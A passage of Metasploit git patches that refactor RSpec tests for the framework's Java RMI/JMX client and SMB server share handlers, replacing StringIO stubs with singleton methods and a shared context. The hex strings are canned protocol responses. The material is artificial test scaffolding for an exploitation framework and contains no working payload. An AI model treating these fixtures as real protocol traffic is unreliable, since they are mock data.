"\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=nil| false - end + } end it "raises an Rex::Proto::Rmi::Exception" do @@ -223,19 +202,35 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do context "when there is an interface bound" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(lookup_response) - io.seek(0) + io.define_singleton_method(:put) do |data| + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + ) + seek(0) end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end + io.define_singleton_method(:get_once) { |length=0, timeout=nil| + read + } - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + io.define_singleton_method(:has_read_data?) { |timeout=nil| false - end + } end it "returns the reference information" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index 7f8f628806..93164a425f 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -39,8 +39,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) + client.define_singleton_method(:put) do |data| + write(data) end end From 11ea7ee5b98823c47be058c4f3e4136ffc329b1d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 24 Nov 2015 08:13:19 -0600 Subject: [PATCH 1530/2172] update mocks for smb specs --- .../exploit/smb/server/share/command/close_spec.rb | 12 +++++++----- .../smb/server/share/command/negotiate_spec.rb | 12 +++++++----- .../smb/server/share/command/nt_create_andx_spec.rb | 12 +++++++----- .../smb/server/share/command/read_andx_spec.rb | 12 +++++++----- .../server/share/command/session_setup_andx_spec.rb | 12 +++++++----- .../server/share/command/trans2/find_first2_spec.rb | 12 +++++++----- .../command/trans2/query_file_information_spec.rb | 12 +++++++----- .../command/trans2/query_path_information_spec.rb | 12 +++++++----- .../exploit/smb/server/share/command/trans2_spec.rb | 12 +++++++----- .../smb/server/share/information_level/find_spec.rb | 12 +++++++----- .../smb/server/share/information_level/query_spec.rb | 12 +++++++----- 11 files changed, 77 insertions(+), 55 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb index 9c4947206a..c4875cbda1 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:response_length) { 39 } let(:valid_response) do "\x00\x00\x00\x23\xff\x53\x4d\x42" + @@ -35,10 +41,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do :dir_id => 0xbeef } }) - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_close_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb index ac3ca8d7ee..74f3397ff0 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -17,7 +17,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 73 } let(:default_response) do "\x00\x00\x00\x45\xff\x53\x4d\x42" + @@ -56,10 +62,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do }) mod.lo = 0 mod.hi = 0 - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_negotitate_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index 18835855ed..b56d3447f9 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 139 } let(:default_response) do @@ -81,10 +87,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'false.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_nt_create_andx_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 62d9da0c34..844b3af4c2 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 63 } let(:default_response) do @@ -69,10 +75,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'false.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_read_andx_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index b0f99b9f11..a01e76c934 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_response_length) { 45 } let(:default_response) do @@ -80,10 +86,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'false.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_session_setup_andx_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index 93164a425f..62b5d42c53 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:valid_find_file_both_directory_info_params) do "\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" + @@ -38,10 +44,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - client.define_singleton_method(:put) do |data| - write(data) - end end describe "#smb_cmd_trans2_find_first2" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index e0e80c70e6..dbc6515a1e 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:valid_query_file_standard_info_params) do "\xad\xde\xed\x03" @@ -37,10 +43,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#smb_cmd_trans2_query_file_information" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 67e353b5c5..01165159bf 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:valid_query_path_standard_info_params) do "\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + @@ -50,10 +56,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#smb_cmd_trans2_query_path_information" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index ed1f373351..556fa91924 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" } let(:normalized_path) { '\\test.exe' } @@ -80,10 +86,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#normalize_path" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index 2c3c4357a7..07641aa221 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_find_file_both_directory_info_res_length) { 163 } let(:default_find_file_both_directory_info_res) do @@ -86,10 +92,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_find_file_both_directory_info_res" do diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 170fee63c9..88133d9ec8 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -16,7 +16,13 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end let(:client_string) { '' } - let(:client) { StringIO.new(client_string) } + let(:client) { + StringIO.new(client_string).tap do |string_io| + def string_io.put(data) + write data + end + end + } let(:default_info_basic_res_length) { 101 } let(:default_info_basic_res) do @@ -81,10 +87,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod.share = 'test' mod.file_name = 'test.exe' mod.file_contents = 'metasploit' - - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.write(data) - end end describe "#send_info_basic_res" do From 236c28b6fb2fd24d172f15e0e957c4140d9c299a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 09:42:57 -0600 Subject: [PATCH 1531/2172] Add shared context --- .../remote/java/rmi/client/jmx/server_spec.rb | 42 +------------------ spec/support/shared/contexts/msf/string_io.rb | 37 ++++++++++++++++ 2 files changed, 39 insertions(+), 40 deletions(-) create mode 100644 spec/support/shared/contexts/msf/string_io.rb diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 371c987b16..deb6cb78e3 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -19,54 +19,16 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do describe "#send_new_client" do context "when there is an RMIServerImpl_Stub interface" do + include_context "Msf::StringIO" + # # lets # - let(:io) { - StringIO.new('', 'w+b') - } - let(:remote_address) { '172.16.158.132' } - # - # Callbacks - # - - before(:each) do - def io.get_once - read - end - - def io.has_read_data?(_timeout) - false - end - - def io.put(_data) - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) - seek(0) - end - end - it "returns the reference information" do expect(instance.send_new_client(sock: io)[:address]).to eq(remote_address) end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb new file mode 100644 index 0000000000..c3fd7dfd3b --- /dev/null +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -0,0 +1,37 @@ +RSpec.shared_context 'Msf::StringIO' do + let(:io) do + StringIO.new('', 'w+b') + end + + before(:each) do + def io.get_once + read + end + + def io.has_read_data?(_timeout) + false + end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) + seek(0) + end + end +end From 4872628ff5017ebabb7cad4a94b0c0dfb6626e93 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 10:16:43 -0600 Subject: [PATCH 1532/2172] Try to make it generic --- .../remote/java/rmi/client/jmx/server_spec.rb | 27 ++++++++++++++++-- spec/support/shared/contexts/msf/string_io.rb | 28 +++++-------------- 2 files changed, 32 insertions(+), 23 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index deb6cb78e3..221d6f2eef 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -4,7 +4,6 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do subject(:instance) { @@ -21,6 +20,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do context "when there is an RMIServerImpl_Stub interface" do include_context "Msf::StringIO" + before(:each) do + def msf_io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + 